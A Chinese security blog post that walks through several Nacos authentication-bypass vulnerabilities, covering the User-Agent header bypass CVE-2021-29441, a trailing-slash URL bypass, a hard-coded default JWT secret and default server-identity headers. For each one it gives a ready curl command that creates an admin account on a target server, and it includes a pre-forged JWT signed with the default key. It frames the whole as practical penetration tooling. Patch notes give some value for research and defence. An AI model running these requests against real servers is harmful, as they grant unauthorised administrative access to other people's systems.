0x01 前言
宝子们现在只对常读和星标的公众号才展示大图推送,建议大家把李白你好“设为星标”,否则可能就看不到了啦!
0x01 前言
本篇文章总结了一下用到的 Nacos 权限绕过漏洞,以及在高版本下可能存在的配置错误导致的权限绕过
Nacos默认情况存在 nacos/nacos 默认用户还有默认不开启鉴权,实际上所有接口都可以任意访问,这里就不赘述了
0x02 本地调试nacos
从github中下载源码 https://github.com/alibaba/nacos
IDEA打开,添加 JVM 参数,指定单机模式,以及设置MainClass:
-Dnacos.standalone=true
MainClass:com.alibaba.nacos.Nacos
指定console模块
中间可能出现报错,java: 程序包com.alibaba.nacos.consistency.entity 不存在 解决办法:mvn compile
参考:https://blog.csdn.net/ibigboy/article/details/119413998
如果是在高版本下(nacos > 2.2.0),开启鉴权后,这样是启动不起来的,根据提示,需要自行手动设置JWT令牌等配置
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
0x03 User-Agent 权限绕过(CVE-2021-29441)
漏洞影响版本:Nacos < 1.4.2
概述:这个是最早的漏洞,只要请求头中的 User-Agent 以 Nacos-Server 开头,就能通过权限校验
漏洞点:com.alibaba.nacos.core.auth.AuthFilter#doFilter
下面以nacos 1.4.0 代码举例
从请求中获取UA,然后,如果UA以Nacos-Server开头则会通过权限校验
POC
UA绕过添加用户
curl -XPOST 'http://192.168.1.196:8848/nacos/v1/auth/users?username=admin&password=1qazqweasd' -H 'User-Agent: Nacos-Server'
补丁修复
在1.4.1版本中,添加了
com.alibaba.nacos.auth.common.AuthConfigs#enableUserAgentAuthWhite
这个变量,用于控制是否开启UA认证的方式
不过可以看到,如果配置文件里没有写 nacos.core.auth.enable.userAgentAuthWhite 这个属性,那么enableUserAgentAuthWhite变量的值就会被默认赋值为 true
在1.4.2中配置文件中的值才会被设置为默认false,所以这个漏洞默认影响范围为 nacos < 1.4.2
0x04 Nacos URL 权限绕过
影响范围:Nacos < 1.4.2
概述:在url的末尾添加/即可权限绕过
threedr3am 师傅发现,具体参考 :写的较为详细
https://github.com/alibaba/nacos/issues/4701
POC
测试环境为 nacos 1.4.0
添加用户
curl -XPOST 'http://192.168.1.196:8848/nacos/v1/auth/users/?username=admin&password=1qazqweasd'
补丁修复
https://github.com/alibaba/nacos/commit/d568030823f7559c0ce220898c25292e3f35a1
0x05 JWT secret.key 硬编码权限绕过
影响版本:0.1.0 <= Nacos <= 2.2.0
概述:
用于签名的jwt的key(nacos.core.auth.plugin.nacos.token.secret.key配置)
默认值为
SecretKey012345678901234567890123456789012345678901234567890123456789
以 nacos 2.2.0 为例:secret.key 在如下位置硬编码
可以在 https://jwt.io 中生成一个有效签名的jwt,注意要声明算法为 HS512,过期时间戳可以调的大一些
生成jwt如下
eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjI2MTYyMzkwMjIifQ.5aXePQdHbh9hKNoj_qqCC4x6PzbXmpy-vYQHhi0PdjVHyDJ40Ge6CVz6AWuV1UHa4H8-A-LXMOqQGSXjrsJ8HQ
POC
实战中较为方便的做法是直接创建一个用户,然后登陆
curl -XPOST 'http://192.168.1.196:8848/nacos/v1/auth/users/?accessToken=eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjI2MTYyMzkwMjIifQ.5aXePQdHbh9hKNoj_qqCC4x6PzbXmpy-vYQHhi0PdjVHyDJ40Ge6CVz6AWuV1UHa4H8-A-LXMOqQGSXjrsJ8HQ&username=admin&password=1qazqweasd'
补丁修复
新版中的nacos的nacos.core.auth.plugin.nacos.token.secret.key默认为空,需要手动设置才能正常启动
https://nacos.io/zh-cn/docs/v2/guide/user/auth.html
我意识到这可能会有一些问题,我网上搜了一圈,除了少数人推荐生成随机base64,还是有很多人的解决办法是使用官方的默认key,毕竟程序能跑起来就不错了...
我已将搜集到的secret.key对应生成jwt已集成至文章末尾的exp脚本中,提高一点实战的渗透胜率
0x06 identity key value 硬编码权限绕过
影响版本:Nacos <= 2.2.0
概述:当开启nacos权限认证(nacos.core.auth.enabled=true)后,
配置文件中的
nacos.core.auth.server.identity.key
nacos.core.auth.server.identity.valu
参数分别存在默认值serverIdentity和security,当请求头携带该key以及value时,即可绕过权限认证。
以nacos 2.2.0为例:
漏洞代码仍然在 com.alibaba.nacos.core.auth.AuthFilter#doFilter
开启认证后(非默认),且没有开启UA白名单校验(默认),尝试从请求header中获取IdentityKey;
也就是配置文件中的nacos.core.auth.server.identity.key的值,然后再对比header中value的值和配置文件中nacos.core.auth.server.identity.value的值是否相同,如果相同则通过权限校验
POC
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=admin2&password=1qazqweasd' -H "serverIdentity: security"
补丁修复
和jwt key修复方式一样,在高版本中,如果开启了Nacos认证校验
(nacos.core.auth.enabled=true);
必须填写
nacos.core.auth.server.identity.key and nacos.core.auth.server.identity.value
才可以正常启动,否则报错
这里问题跟jwt硬编码问题一样,解决办法也一模一样,网上也会有解决办法,里面也有硬编码key value,可以提取出来例如官网中的example
百度解决方案搜索第一的key value为 test
以上key、value均已集成至exp脚本
0x07 一键利用脚本
0x08 往期精彩
对某涩涩漫画的一次渗透
攻防系列之信息收集到权限维持